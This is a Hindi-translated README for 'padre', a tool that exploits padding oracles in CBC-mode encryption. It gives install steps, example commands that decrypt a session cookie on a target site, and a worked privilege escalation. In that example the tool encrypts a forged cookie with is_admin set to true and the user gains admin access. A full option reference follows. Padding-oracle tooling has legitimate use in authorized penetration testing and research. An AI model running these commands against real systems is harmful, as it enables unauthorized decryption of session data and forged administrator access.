
तेज़ गति से काम करने वाला, उन्नत Padding Oracle एक्सप्लॉइट
padre एक उन्नत शोषक है जो CBC मोड एन्क्रिप्शन के विरुद्ध पैडिंग ओरेकल हमलों के लिए है।
विशेषताएं:

सबसे तेज़ तरीका है आपके OS के लिए पूर्व-संकलित बाइनरी डाउनलोड करना नवीनतम रिलीज़ से
वैकल्पिक रूप से, यदि आपके पास Go स्थापित है, तो स्रोत से बनाएँ:
go install github.com/glebarez/padre@latest
यदि आपको कोई संदिग्ध पैडिंग ओरेकल मिलता है, जहाँ एन्क्रिप्टेड डेटा SESS नामक कुकी में संग्रहीत है, तो आप निम्न का उपयोग कर सकते हैं:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre स्वचालित रूप से HTTP प्रतिक्रियाओं का फिंगरप्रिंट करेगा ताकि यह निर्धारित किया जा सके कि पैडिंग ओरेकल की पुष्टि की जा सकती है। यदि सर्वर वास्तव में असुरक्षित है, तो प्रदान किया गया टोकन कुछ इस प्रकार डिक्रिप्ट हो जाएगा:
{"user_id": 456, "is_admin": false}
ऐसा लगता है कि आप यहाँ अपने विशेषाधिकार बढ़ा सकते हैं!
आप ऐसा करने का प्रयास कर सकते हैं पहले अपना स्वयं का एन्क्रिप्टेड डेटा उत्पन्न करके जिसे ओरेकल वापस किसी चालाक प्लेनटेक्स्ट में डिक्रिप्ट करेगा:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
यह एन्क्रिप्टेड डेटा का एक और एन्कोडेड सेट देगा, शायद नीचे जैसा कुछ (यदि base64 का उपयोग किया गया है):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
अब आप अपना ब्राउज़र खोल सकते हैं और SESS कुकी का मान उपरोक्त मान पर सेट कर सकते हैं। मूल ओरेकल पृष्ठ लोड करने पर, आपको अब देखना चाहिए कि आप एडमिन स्तर पर पदोन्नत हो गए हैं।
Usage: padre [OPTIONS] [INPUT]
INPUT:
डिक्रिप्ट मोड में: एन्क्रिप्टेड डेटा
एन्क्रिप्ट मोड में: एन्क्रिप्ट किया जाने वाला प्लेनटेक्स्ट
यदि पास नहीं किया गया, तो STDIN से पढ़ेगा
नोट: बाइनरी डेटा हमेशा HTTP में एन्कोडेड होता है। यदि आवश्यक हो तो एन्कोडिंग नियमों को समायोजित करें (विकल्प देखें: -e, -r)
OPTIONS:
-u *आवश्यक*
लक्ष्य URL, टोकन प्लेसहोल्डर को परिभाषित करने के लिए $ वर्ण का उपयोग करें (यदि URL में मौजूद है)
-enc
एन्क्रिप्ट मोड
-err
Regex पैटर्न, HTTP प्रतिक्रिया निकायों को पैडिंग ओरेकल का पता लगाने के लिए इससे मिलान किया जाएगा। स्वचालित फिंगरप्रिंटिंग करने के लिए इसे छोड़ दें
-e
बाइनरी डेटा पर लागू करने के लिए एन्कोडिंग। समर्थित मान:
b64 (मानक base64) *डिफ़ॉल्ट*
lhex (लोअरकेस hex)
-r
बाइनरी डेटा को एन्कोड करने के बाद लागू करने के लिए अतिरिक्त प्रतिस्थापन। विषम-लंबाई वाले स्ट्रिंग का उपयोग करें, जिसमें वर्णों के जोड़े <OLD><NEW> हों।
उदाहरण:
यदि सर्वर base64 का उपयोग करता है, लेकिन '/' को '!' से, '+' को '-' से, '=' को '~' से बदलता है, तो -r "/!+-=~" का उपयोग करें
-cookie
HTTP अनुरोधों में सेट किया जाने वाला कुकी मान। टोकन प्लेसहोल्डर को चिह्नित करने के लिए $ वर्ण का उपयोग करें।
-post
POST अनुरोध करने के लिए स्ट्रिंग डेटा। टोकन प्लेसहोल्डर को चिह्नित करने के लिए $ वर्ण का उपयोग करें।
-ct
POST अनुरोधों के लिए Content-Type। यदि निर्दिष्ट नहीं किया गया है, तो Content-Type स्वचालित रूप से निर्धारित किया जाएगा।
-b
सिफर में उपयोग की जाने वाली ब्लॉक लंबाई (AES के लिए 16 का उपयोग करें)। स्वचालित पता लगाने के लिए इसे छोड़ दें। समर्थित मान:
8
16 *डिफ़ॉल्ट*
32
-p
लक्ष्य सर्वर पर स्थापित समानांतर HTTP कनेक्शनों की संख्या [1-256]
30 *डिफ़ॉल्ट*
-proxy
HTTP प्रॉक्सी। उदाहरण के लिए, Burp या ZAP के लिए -proxy "http://localhost:8080" का उपयोग करें